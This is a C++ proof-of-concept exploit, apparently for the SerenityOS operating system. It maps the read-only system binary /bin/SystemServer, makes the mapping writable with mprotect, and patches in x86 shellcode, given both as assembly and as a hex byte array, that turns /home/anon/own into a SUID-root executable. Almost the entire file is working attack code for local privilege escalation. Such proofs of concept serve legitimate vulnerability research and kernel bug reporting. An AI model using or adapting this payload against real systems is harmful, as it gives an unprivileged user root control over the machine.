mmap-write-into-running-programs-executable-file.cpp 1.6 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970
  1. #include <AK/Types.h>
  2. #include <fcntl.h>
  3. #include <stdio.h>
  4. #include <string.h>
  5. #include <sys/mman.h>
  6. #include <unistd.h>
  7. int main()
  8. {
  9. int fd = open("/bin/SystemServer", O_RDONLY);
  10. if (fd < 0) {
  11. perror("open");
  12. return 1;
  13. }
  14. u8* ptr = (u8*)mmap(nullptr, 16384, PROT_READ, MAP_FILE | MAP_SHARED, fd, 0);
  15. if (ptr == MAP_FAILED) {
  16. perror("mmap");
  17. return 1;
  18. }
  19. if (mprotect(ptr, 16384, PROT_READ | PROT_WRITE) < 0) {
  20. perror("mprotect");
  21. return 1;
  22. }
  23. /*
  24. *
  25. * This payload replaces the start of sigchld_handler in the /bin/SystemServer file.
  26. * It does two things:
  27. *
  28. * chown ("/home/anon/own", 0, 0);
  29. * chmod ("/home/anon/own", 04755);
  30. *
  31. * In other words, it turns "/home/anon/own" into a SUID-root executable! :^)
  32. *
  33. */
  34. #if 0
  35. [bits 32]
  36. [org 0x0804b111]
  37. jmp $+17
  38. path:
  39. db "/home/anon/own", 0
  40. mov eax, 79
  41. mov edx, path
  42. mov ecx, 0
  43. mov ebx, 0
  44. int 0x82
  45. mov eax, 67
  46. mov edx, path
  47. mov ecx, 15
  48. mov ebx, 2541
  49. int 0x82
  50. ret
  51. #endif
  52. const u8 payload[] = {
  53. 0xeb, 0x0f, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x61, 0x6e, 0x6f,
  54. 0x6e, 0x2f, 0x6f, 0x77, 0x6e, 0x00, 0xb8, 0x4f, 0x00, 0x00, 0x00,
  55. 0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xbb,
  56. 0x00, 0x00, 0x00, 0x00, 0xcd, 0x82, 0xb8, 0x43, 0x00, 0x00, 0x00,
  57. 0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x0f, 0x00, 0x00, 0x00, 0xbb,
  58. 0xed, 0x09, 0x00, 0x00, 0xcd, 0x82, 0xc3
  59. };
  60. memcpy(&ptr[0x3111], payload, sizeof(payload));
  61. printf("ok\n");
  62. return 0;
  63. }